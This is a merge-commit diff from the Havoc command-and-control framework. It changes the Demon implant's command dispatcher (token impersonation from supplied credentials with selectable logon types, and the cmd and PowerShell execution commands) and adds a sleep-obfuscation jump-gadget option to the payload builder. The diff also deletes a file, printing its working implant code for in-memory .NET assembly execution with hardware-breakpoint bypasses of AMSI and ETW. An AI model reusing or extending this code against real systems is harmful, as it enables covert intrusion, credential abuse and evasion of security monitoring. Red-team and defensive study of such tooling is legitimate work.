Merge branch 'HavocFramework:dev' into dev

This commit is contained in:
Leo Smith
2023-11-17 12:18:02 +01:00
committed by GitHub
86 changed files with 4027 additions and 3839 deletions
+1 -1
View File
@@ -413,7 +413,7 @@ std::vector<DemonCommands::Command_t> DemonCommands::DemonCommandList = {
.Description = "make token from user credentials",
.Behavior = BEHAVIOR_API_ONLY,
.MitreTechniques = {"T1134", "T1134.003"},
.Usage = "[Domain] [Username] [Password] ",
.Usage = "[Domain] [Username] [Password] (LogonType)\nValid types are:\nLOGON_INTERACTIVE\nLOGON_NETWORK\nLOGON_BATCH\nLOGON_SERVICE\nLOGON_UNLOCK\nLOGON_NETWORK_CLEARTEXT\nLOGON_NEW_CREDENTIALS (default)",
.Example = "domain.local Administrator Passw0rd@1234",
},
{
+47 -7
View File
@@ -874,7 +874,8 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
if ( InputCommands.length() > 1 )
{
auto Program = QString("c:\\windows\\system32\\cmd.exe");
auto Args = QString( "/c " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64(); // InputCommands[ 1 ].;
// NOTE: the 'shell' command does not need to escape quotes
auto Args = QString( "/c " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64();
TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" );
CommandInputList[ TaskID ] = commandline;
@@ -1371,20 +1372,55 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
return false;
}
if ( InputCommands.size() > 6 )
{
CONSOLE_ERROR( "Too many arguments" )
return false;
}
// token make Domain\user password
auto Domain = QString();
auto User = QString();
auto Password = QString();
auto Domain = QString();
auto User = QString();
auto Password = QString();
auto LogonType = QString();
// token make domain user password
Domain = InputCommands[ 2 ];
User = InputCommands[ 3 ];
Password = InputCommands[ 4 ];
if ( InputCommands.size() == 6 )
{
if ( InputCommands[ 5 ].compare( "LOGON_INTERACTIVE" ) == 0 )
LogonType = "2";
else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK" ) == 0 )
LogonType = "3";
else if ( InputCommands[ 5 ].compare( "LOGON_BATCH" ) == 0 )
LogonType = "4";
else if ( InputCommands[ 5 ].compare( "LOGON_SERVICE" ) == 0 )
LogonType = "5";
else if ( InputCommands[ 5 ].compare( "LOGON_UNLOCK" ) == 0 )
LogonType = "7";
else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK_CLEARTEXT" ) == 0 )
LogonType = "8";
else if ( InputCommands[ 5 ].compare( "LOGON_NEW_CREDENTIALS" ) == 0 )
LogonType = "9";
else
{
CONSOLE_ERROR( "Invalid token type" )
return false;
}
}
else
{
// default: LOGON_NEW_CREDENTIALS
LogonType = "9";
}
TaskID = CONSOLE_INFO( "Tasked demon to make a new network token for " + Domain + "\\" + User );
CommandInputList[ TaskID ] = commandline;
SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() ) );
SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() + ";" + LogonType ) );
}
else if ( InputCommands[ 1 ].compare( "revert" ) == 0 )
{
@@ -1464,7 +1500,10 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
auto Args = QByteArray();
if ( InputCommands.size() > 3 )
Args = JoinAtIndex( InputCommands, 3 ).toUtf8();
{
// NOTE: the 'dotnet inline-execute assembly.exe (args)' command does not need to escape quotes
Args = JoinAtIndex( commandline.split( " " ), 3 ).toUtf8();
}
if ( ! QFile::exists( Path ) )
{
@@ -1778,7 +1817,8 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
if ( InputCommands.length() > 1 )
{
auto Program = QString("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");
auto Args = QString( "-C " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64(); // InputCommands[ 1 ].;
// NOTE: the 'powershell' command does not need to escape quotes
auto Args = QString( "-C " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64();
TaskID = CONSOLE_INFO( "Tasked demon to execute a powershell command/script" );
CommandInputList[ TaskID ] = commandline;
+9 -3
View File
@@ -478,7 +478,6 @@ auto Payload::DefaultConfig() -> void
auto DemonConfig = HavocX::Teamserver.DemonConfig;
auto ConfigSleep = new QTreeWidgetItem( TreeConfig );
auto ConfigJitter = new QTreeWidgetItem( TreeConfig );
auto ConfigServiceName = ( QTreeWidgetItem* ) nullptr;
auto ConfigServiceNameInput = ( QLineEdit* ) nullptr;
@@ -490,6 +489,7 @@ auto Payload::DefaultConfig() -> void
auto ConfigIndirectSyscalls = new QTreeWidgetItem( TreeConfig );
auto ConfigSleepStackSpoof = new QTreeWidgetItem( TreeConfig );
auto ConfigSleepObfTechnique = new QTreeWidgetItem( TreeConfig );
auto ConfigSleepJmpBypass = new QTreeWidgetItem( TreeConfig );
auto ConfigProxyLoading = new QTreeWidgetItem( TreeConfig );
auto ConfigAmsiEtwPatch = new QTreeWidgetItem( TreeConfig );
auto ConfigInjection = new QTreeWidgetItem( TreeConfig );
@@ -497,14 +497,15 @@ auto Payload::DefaultConfig() -> void
auto ConfigInjectionExecute = new QTreeWidgetItem( ConfigInjection );
auto ConfigInjectionSpawn64 = new QTreeWidgetItem( ConfigInjection );
auto ConfigInjectionSpawn32 = new QTreeWidgetItem( ConfigInjection );
auto SleepObfTechnique = new QComboBox;
auto SleepObfSpoofAddress = new QLineEdit;
auto Jitter = DemonConfig[ "Jitter" ].toInt();
if ( Jitter < 0 || Jitter > 100 ) {
Jitter = 0;
}
auto SleepObfTechnique = new QComboBox;
auto SleepObfJmpBypass = new QComboBox;
auto SleepObfSpoofAddress = new QLineEdit;
auto ConfigSleepLineEdit = new QLineEdit( QString::number( DemonConfig[ "Sleep" ].toInt() ) );
auto ConfigJitterLineEdit = new QLineEdit( QString::number( Jitter ) );
auto ConfigIndSyscallCheck = new QCheckBox;
@@ -534,6 +535,7 @@ auto Payload::DefaultConfig() -> void
ConfigProxyLoading->setFlags( Qt::NoItemFlags );
ConfigAmsiEtwPatch->setFlags( Qt::NoItemFlags );
ConfigSleepObfTechnique->setFlags( Qt::NoItemFlags );
ConfigSleepJmpBypass->setFlags( Qt::NoItemFlags );
ConfigSleepStackSpoof->setFlags( Qt::NoItemFlags );
ConfigInjectionSpawn64->setFlags( Qt::NoItemFlags );
ConfigInjectionSpawn32->setFlags( Qt::NoItemFlags );
@@ -547,6 +549,7 @@ auto Payload::DefaultConfig() -> void
ConfigSpawn64LineEdit->setObjectName( "ConfigItem" );
ConfigSpawn32LineEdit->setObjectName( "ConfigItem" );
SleepObfTechnique->setObjectName( "ConfigItem" );
SleepObfJmpBypass->setObjectName( "ConfigItem" );
SleepObfSpoofAddress->setObjectName( "ConfigItem" );
ProxyLoading->setObjectName( "ConfigItem" );
AmsiEtwPatch->setObjectName( "ConfigItem" );
@@ -554,6 +557,7 @@ auto Payload::DefaultConfig() -> void
ConfigIndSyscallCheck->setChecked( DefaultIndSyscallCheck );
ConfigStackSpoof->setChecked( DefaultStackDuplication );
SleepObfJmpBypass->addItems( QStringList() << "None" << "jmp rax" << "jmp rbx" );
ConfigInjectAlloc->addItems( QStringList() << "Win32" << "Native/Syscall" );
ConfigInjectExecute->addItems( QStringList() << "Win32" << "Native/Syscall" );
SleepObfTechnique->addItems( QStringList() << "WaitForSingleObjectEx" << "Foliage" << "Ekko" << "Zilean" );
@@ -596,6 +600,7 @@ auto Payload::DefaultConfig() -> void
}
TreeConfig->setItemWidget( ConfigIndirectSyscalls, 1, ConfigIndSyscallCheck );
TreeConfig->setItemWidget( ConfigSleepObfTechnique,1, SleepObfTechnique );
TreeConfig->setItemWidget( ConfigSleepJmpBypass, 1, SleepObfJmpBypass );
TreeConfig->setItemWidget( ConfigSleepStackSpoof, 1, ConfigStackSpoof );
TreeConfig->setItemWidget( ConfigProxyLoading, 1, ProxyLoading );
TreeConfig->setItemWidget( ConfigAmsiEtwPatch, 1, AmsiEtwPatch );
@@ -614,6 +619,7 @@ auto Payload::DefaultConfig() -> void
ConfigIndirectSyscalls->setText( 0, "Indirect Syscall" );
ConfigSleepObfTechnique->setText( 0, "Sleep Technique" );
ConfigSleepJmpBypass->setText( 0, "Sleep Jmp Gadget" );
ConfigSleepStackSpoof->setText( 0, "Stack Duplication" );
ConfigProxyLoading->setText( 0, "Proxy Loading" );
ConfigAmsiEtwPatch->setText( 0, "Amsi/Etw Patch" );
+36 -38
View File
@@ -9,63 +9,61 @@ set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc )
set( CMAKE_C_FLAGS "-Wl,--pic-executable,-e,main -Wl,-Bstatic -s -w -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libgcc -Wl,-Bstatic " )
# adding demon sources
include_directories( Include )
include_directories( include )
set( COMMON_SOURCE
Source/Core/Command.c
Source/Core/Win32.c
Source/Core/MiniStd.c
Source/Core/Token.c
Source/Core/Package.c
Source/Core/SleepObf.c
Source/Core/Spoof.c
Source/Core/Syscalls.c
Source/Core/SysNative.c
Source/Core/Command.c
Source/Core/Transport.c
Source/Core/TransportHttp.c
Source/Core/TransportSmb.c
Source/Core/Parser.c
Source/Core/Pivot.c
Source/Core/Jobs.c
Source/Core/Download.c
Source/Core/Dotnet.c
Source/Core/Socket.c
Source/Core/Kerberos.c
Source/Core/Thread.c
Source/Core/Memory.c
Source/Core/Runtime.c
Source/Core/HwBpEngine.c
Source/Core/HwBpExceptions.c
src/core/Command.c
src/core/Win32.c
src/core/MiniStd.c
src/core/Token.c
src/core/Package.c
src/core/Obf.c
src/core/Spoof.c
src/core/Syscalls.c
src/core/SysNative.c
src/core/Command.c
src/core/Transport.c
src/core/TransportHttp.c
src/core/TransportSmb.c
src/core/Parser.c
src/core/Pivot.c
src/core/Jobs.c
src/core/Download.c
src/core/Dotnet.c
src/core/Socket.c
src/core/Kerberos.c
src/core/Thread.c
src/core/Memory.c
src/core/Runtime.c
src/core/HwBpEngine.c
src/core/HwBpExceptions.c
src/core/CoffeeLdr.c
src/core/ObjectApi.c
)
set( INJECT_SOURCE
Source/Inject/Inject.c
Source/Inject/InjectUtil.c
src/inject/Inject.c
src/inject/InjectUtil.c
)
set( LOADER_SOURCE
Source/Loader/CoffeeLdr.c
Source/Loader/ObjectApi.c
set( CRYPT_SOURCE
src/crypt/AesCrypt.c
)
set( MAIN_SOURCE
# Demon Main entrypoint
Source/Demon.c
src/Demon.c
# windows exe
Source/Main/MainExe.c
src/main/MainExe.c
# windows dll
Source/Main/MainDll.c
src/main/MainDll.c
# windows service
Source/Main/MainSvc.c
src/main/MainSvc.c
)
set( CRYPT_SOURCE
Source/Crypt/AesCrypt.c
)
# preprocessor flags
add_compile_definitions( DEBUG )
-14
View File
@@ -1,14 +0,0 @@
#ifndef DEMON_SLEEPOBF_H
#define DEMON_SLEEPOBF_H
#include <windows.h>
#define SLEEPOBF_NO_OBF 0x0
#define SLEEPOBF_EKKO 0x1
#define SLEEPOBF_ZILEAN 0x2
#define SLEEPOBF_FOLIAGE 0x3
VOID SleepObf( );
#endif
+6 -12
View File
@@ -1,28 +1,22 @@
# Havoc Demon Agent
Havoc Demon Agent source code written in C
Havoc Demon Agent source code written in C and assembly
# Directories
## Source/Asm
## src/asm
assembly code (return address stack spoofing)
## Source/Core
## src/core
core functions ( connect to server, dynamically load win32 apis / syscalls )
## Source/Crypt
## src/crypt
encryption / decryption functions
## Source/Extra
extra code ( KaynLdr Reflective Loader )
## Source/Inject
## src/inject
injection functions and utilities
## Source/Loader
loaders ( COFF Loader + Beacon Api )
## Source/Main
## src/main
Entry point of an PE executable
- MainExe.c
-590
View File
@@ -1,590 +0,0 @@
#include <Demon.h>
#include <Core/MiniStd.h>
#include <Core/Dotnet.h>
#include <Core/HwBpExceptions.h>
#define PIPE_BUFFER 0x10000 * 5
GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };
GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } };
GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };
GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };
GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
BOOL AmsiPatched = FALSE;
BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments )
{
PPACKAGE PackageInfo = NULL;
SAFEARRAYBOUND RgsBound[ 1 ] = { 0 };
BUFFER AssemblyData = { 0 };
LPWSTR* ArgumentsArray = NULL;
INT ArgumentsCount = 0;
LONG idx[ 1 ] = { 0 };
VARIANT Object = { 0 };
NTSTATUS Status = STATUS_SUCCESS;
DWORD ThreadId = 0;
HRESULT Result = S_OK;
BOOL AmsiIsLoaded = FALSE;
if ( ! Assembly.Buffer || ! Assembly.Length )
return FALSE;
/* Create a named pipe for our output. try with anon pipes at some point. */
Instance.Dotnet->Pipe = Instance.Win32.CreateNamedPipeW(
Instance.Dotnet->PipeName.Buffer,
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
PIPE_TYPE_MESSAGE,
PIPE_UNLIMITED_INSTANCES,
PIPE_BUFFER, PIPE_BUFFER,
0,
NULL
);
if ( ! Instance.Dotnet->Pipe )
{
PRINTF( "CreateNamedPipeW Failed: Error[%d]\n", NtGetLastError() )
PACKAGE_ERROR_WIN32;
return FALSE;
}
if ( ! ( Instance.Dotnet->File = Instance.Win32.CreateFileW( Instance.Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) )
{
PRINTF( "CreateFileW Failed: Error[%d]\n", NtGetLastError() )
PACKAGE_ERROR_WIN32;
return FALSE;
}
if ( ! Instance.Win32.GetConsoleWindow( ) )
{
HWND wnd = NULL;
Instance.Win32.AllocConsole( );
if ( ( wnd = Instance.Win32.GetConsoleWindow( ) ) )
Instance.Win32.ShowWindow( wnd, SW_HIDE );
}
// Hosting CLR
if ( ! ClrCreateInstance( Instance.Dotnet->NetVersion.Buffer, &Instance.Dotnet->MetaHost, &Instance.Dotnet->ClrRuntimeInfo, &Instance.Dotnet->ICorRuntimeHost ) )
{
PUTS( "Couldn't start CLR" )
return FALSE;
}
/* TODO: Use Hardware breakpoints and the hardware breakpoint engine
* written by rad9800 (https://github.com/rad9800/hwbp4mw) */
/* if ( Instance.Session.OSVersion > WIN_VERSION_10 )
{
PUTS( "Try to patch amsi" )
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID );
PackageAddInt32( PackageInfo, DOTNET_INFO_AMSI_PATCHED );
if ( AmsiPatched == FALSE )
{
if ( BypassPatchAMSI( ) == TRUE )
{
PUTS("[+] Successful patched AMSI")
AmsiPatched = TRUE;
PackageAddInt32( PackageInfo, 0 );
} else {
PUTS("[-] Something went wrong")
PackageAddInt32( PackageInfo, 1 );
}
} else {
PUTS( "Amsi already patched" );
PackageAddInt32( PackageInfo, 2 );
}
PackageTransmit( PackageInfo );
} */
/* if Amsi/Etw bypass is enabled */
if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP )
{
#if _WIN64
PUTS( "Try to patch(less) Amsi/Etw" )
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID );
PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED );
/* check if Amsi is loaded */
AmsiIsLoaded = TRUE;
if ( ! Instance.Modules.Amsi ) {
AmsiIsLoaded = RtAmsi();
}
PUTS( "Init HwBp Engine" )
/* use global engine */
if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) {
return FALSE;
}
ThreadId = U_PTR( Instance.Teb->ClientId.UniqueThread );
/* add Amsi bypass */
if ( AmsiIsLoaded )
{
PUTS( "HwBp Engine add AmsiScanBuffer bypass" )
if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance.Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) {
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
return FALSE;
}
}
/* add Etw bypass */
PUTS( "HwBp Engine add NtTraceEvent bypass" )
if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance.Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) {
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
return FALSE;
}
PackageTransmit( PackageInfo );
PackageInfo = NULL;
#endif
}
else if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) {
/* todo: add memory patching technique */
}
else {
/* no patching */
}
/* Let the operator know what version we are going to use. */
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID );
PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION );
PackageAddBytes( PackageInfo, Instance.Dotnet->NetVersion.Buffer, Instance.Dotnet->NetVersion.Length );
PackageTransmit( PackageInfo );
RgsBound[ 0 ].cElements = Assembly.Length;
RgsBound[ 0 ].lLbound = 0;
Instance.Dotnet->SafeArray = Instance.Win32.SafeArrayCreate( VT_UI1, 1, RgsBound );
PUTS( "CreateDomain..." )
if ( ( Result = Instance.Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance.Dotnet->ICorRuntimeHost, Instance.Dotnet->AppDomainName.Buffer, NULL, &Instance.Dotnet->AppDomainThunk ) ) ) {
PRINTF( "CreateDomain Failed: %x\n", Result )
return FALSE;
}
PUTS( "QueryInterface..." )
if ( ( Result = Instance.Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance.Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance.Dotnet->AppDomain ) ) ) {
PRINTF( "QueryInterface Failed: %x\n", Result )
return FALSE;
}
if ( ( Result = Instance.Win32.SafeArrayAccessData( Instance.Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) {
PRINTF( "SafeArrayAccessData Failed: %x\n", Result )
return FALSE;
}
PUTS( "Copy assembly to buffer..." )
MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length );
if ( ( Result = Instance.Win32.SafeArrayUnaccessData( Instance.Dotnet->SafeArray ) ) ) {
PRINTF("SafeArrayUnaccessData Failed: %x\n", Result )
PACKAGE_ERROR_WIN32
}
PUTS( "AppDomain Load..." )
if ( ( Result = Instance.Dotnet->AppDomain->lpVtbl->Load_3( Instance.Dotnet->AppDomain, Instance.Dotnet->SafeArray, &Instance.Dotnet->Assembly ) ) ) {
PRINTF( "AppDomain Failed: %x\n", Result )
return FALSE;
}
PUTS( "Assembly EntryPoint..." )
if ( ( Result = Instance.Dotnet->Assembly->lpVtbl->EntryPoint( Instance.Dotnet->Assembly, &Instance.Dotnet->MethodInfo ) ) ) {
PRINTF( "Assembly EntryPoint Failed: %x\n", Result )
return FALSE;
}
Instance.Dotnet->MethodArgs = Instance.Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()
ArgumentsArray = Instance.Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount );
ArgumentsArray++;
ArgumentsCount--;
Instance.Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR );
Instance.Dotnet->vtPsa.parray = Instance.Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount );
for ( LONG i = 0; i < ArgumentsCount; i++ ) {
if ( ( Result = Instance.Win32.SafeArrayPutElement( Instance.Dotnet->vtPsa.parray, &i, Instance.Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) {
PRINTF( "Args SafeArrayPutElement Failed: %x\n", Result )
return FALSE;
}
}
if ( ( Result = Instance.Win32.SafeArrayPutElement( Instance.Dotnet->MethodArgs, idx, &Instance.Dotnet->vtPsa ) ) ) {
PRINTF( "SafeArrayPutElement Failed: %x\n", Result )
return FALSE;
}
Instance.Dotnet->StdOut = Instance.Win32.GetStdHandle( STD_OUTPUT_HANDLE );
Instance.Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance.Dotnet->File );
if ( ( Result = Instance.Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance.Dotnet->MethodInfo, Object, Instance.Dotnet->MethodArgs, &Instance.Dotnet->Return ) ) ) {
PRINTF( "Invoke Assembly Failed: %x\n", Result )
return FALSE;
}
Instance.Dotnet->Invoked = TRUE;
/* push output */
DotnetPush();
/*
* TODO: Finish/Fix this.
* It seems like its way to unstable to use this
* assembly crashes the agent randomly and dont know why.
* Fix this once i get motivated enough or remove this entirely. */
/*
PUTS( "Create Thread..." )
MemSet( &ThreadAttr, 0, sizeof( PROC_THREAD_ATTRIBUTE_NUM ) );
MemSet( &ClientId, 0, sizeof( CLIENT_ID ) );
ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE );
ThreadAttr.Entry.Size = sizeof( CLIENT_ID );
ThreadAttr.Entry.pValue = &ClientId;
ThreadAttr.Length = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST );
PUTS( "Creating events..." )
if ( NT_SUCCESS( Instance.Win32.NtCreateEvent( &Instance.Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
NT_SUCCESS( Instance.Win32.NtCreateEvent( &Instance.Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
{
if ( NT_SUCCESS( Instance.Win32.NtCreateThreadEx( &Instance.Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance.Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) )
{
Instance.Dotnet->RopInit = NtHeapAlloc( sizeof( CONTEXT ) );
Instance.Dotnet->RopInvk = NtHeapAlloc( sizeof( CONTEXT ) );
Instance.Dotnet->RopEvnt = NtHeapAlloc( sizeof( CONTEXT ) );
Instance.Dotnet->RopExit = NtHeapAlloc( sizeof( CONTEXT ) );
Instance.Dotnet->RopInit->ContextFlags = CONTEXT_FULL;
if ( NT_SUCCESS( Instance.Win32.NtGetContextThread( Instance.Dotnet->Thread, Instance.Dotnet->RopInit ) ) )
{
MemCopy( Instance.Dotnet->RopInvk, Instance.Dotnet->RopInit, sizeof( CONTEXT ) );
MemCopy( Instance.Dotnet->RopEvnt, Instance.Dotnet->RopInit, sizeof( CONTEXT ) );
MemCopy( Instance.Dotnet->RopExit, Instance.Dotnet->RopInit, sizeof( CONTEXT ) );
// This rop executes the entrypoint of the assembly
Instance.Dotnet->RopInvk->ContextFlags = CONTEXT_FULL;
Instance.Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 );
Instance.Dotnet->RopInvk->Rip = U_PTR( Instance.Dotnet->MethodInfo->lpVtbl->Invoke_3 );
Instance.Dotnet->RopInvk->Rcx = U_PTR( Instance.Dotnet->MethodInfo );
Instance.Dotnet->RopInvk->Rdx = U_PTR( &Object );
Instance.Dotnet->RopInvk->R8 = U_PTR( Instance.Dotnet->MethodArgs );
Instance.Dotnet->RopInvk->R9 = U_PTR( &Instance.Dotnet->Return );
*( PVOID* )( Instance.Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert );
// This rop tells the main thread (our agent main thread) that the assembly executable finished executing
Instance.Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL;
Instance.Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 );
Instance.Dotnet->RopEvnt->Rip = U_PTR( Instance.Win32.NtSetEvent );
Instance.Dotnet->RopEvnt->Rcx = U_PTR( Instance.Dotnet->Event );
Instance.Dotnet->RopEvnt->Rdx = U_PTR( NULL );
*( PVOID* )( Instance.Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert );
// Wait til we freed everything from the dotnet
Instance.Dotnet->RopExit->ContextFlags = CONTEXT_FULL;
Instance.Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 );
Instance.Dotnet->RopExit->Rip = U_PTR( Instance.Win32.NtWaitForSingleObject );
Instance.Dotnet->RopExit->Rcx = U_PTR( Instance.Dotnet->Exit );
Instance.Dotnet->RopExit->Rdx = U_PTR( FALSE );
Instance.Dotnet->RopExit->R8 = U_PTR( NULL );
*( PVOID* )( Instance.Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert );
if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave;
PUTS( "Resume Thread..." )
if ( NT_SUCCESS( Instance.Win32.NtAlertResumeThread( Instance.Dotnet->Thread, NULL ) ) )
{
PUTS( "Apc started and assembly invoked." )
PackageInfo = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
PackageAddInt32( PackageInfo, DOTNET_INFO_ENTRYPOINT_EXECUTED );
PackageAddInt32( PackageInfo, ClientId.UniqueThread );
PackageTransmit( PackageInfo );
// we have successfully invoked the main function of the assembly executable.
Instance.Dotnet->Invoked = TRUE;
} else PUTS( "NtAlertResumeThread failed" )
} else PUTS( "NtGetThreadContext failed" )
} else PUTS( "NtCreateThreadEx failed" )
} else PUTS( "NtCreateEvent failed" )
*/
return TRUE;
}
/* push anything from the pipe */
VOID DotnetPushPipe()
{
DWORD Read = 0;
DWORD BytesRead = 0;
if ( ! Instance.Dotnet )
return;
/* see how much there is in the named pipe */
if ( Instance.Win32.PeekNamedPipe( Instance.Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) )
{
PRINTF( "Read: %d\n", Read );
if ( Read > 0 )
{
Instance.Dotnet->Output.Length = Read;
Instance.Dotnet->Output.Buffer = NtHeapAlloc( Instance.Dotnet->Output.Length );
Instance.Win32.ReadFile( Instance.Dotnet->Pipe, Instance.Dotnet->Output.Buffer, Instance.Dotnet->Output.Length, &BytesRead, NULL );
Instance.Dotnet->Output.Length = BytesRead;
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance.Dotnet->RequestID );
PackageAddBytes( Package, Instance.Dotnet->Output.Buffer, Instance.Dotnet->Output.Length );
PackageTransmit( Package );
if ( Instance.Dotnet->Output.Buffer )
{
MemSet( Instance.Dotnet->Output.Buffer, 0, Read );
NtHeapFree( Instance.Dotnet->Output.Buffer )
Instance.Dotnet->Output.Buffer = NULL;
}
}
}
}
VOID DotnetPush()
{
if ( ! Instance.Dotnet )
return;
PRINTF( "Instance.Dotnet->Invoked: %s\n", Instance.Dotnet->Invoked ? "TRUE" : "FALSE" )
if ( Instance.Dotnet->Invoked )
{
/* Read from the assembly named pipe and send it to the server */
DotnetPushPipe();
/* check if the assembly is still running. */
/* if ( Instance.Win32.WaitForSingleObjectEx( Instance.Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 )
{
PUTS( "Event has been signaled" )
Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
PackageAddInt32( Package, DOTNET_INFO_FINISHED );
PackageTransmit( Package );
PUTS( "Dotnet Invoke thread isn't active anymore." )
Close = TRUE;
} */
/* just in case the assembly pushed something last minute... */
DotnetPushPipe();
/* Now free everything */
DotnetClose();
}
}
VOID DotnetClose()
{
#ifndef DEBUG
Instance.Win32.FreeConsole();
#endif
if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) {
HwBpEngineDestroy( NULL );
}
if ( Instance.Dotnet->Event ) {
SysNtClose( Instance.Dotnet->Event );
}
if ( Instance.Dotnet->Pipe ) {
SysNtClose( Instance.Dotnet->Pipe );
}
if ( Instance.Dotnet->File ) {
SysNtClose( Instance.Dotnet->File );
}
if ( Instance.Dotnet->RopInit ) {
MemSet( Instance.Dotnet->RopInit, 0, sizeof( CONTEXT ) );
Instance.Win32.LocalFree( Instance.Dotnet->RopInit );
Instance.Dotnet->RopInit = NULL;
}
if ( Instance.Dotnet->RopInvk )
{
MemSet( Instance.Dotnet->RopInvk, 0, sizeof( CONTEXT ) );
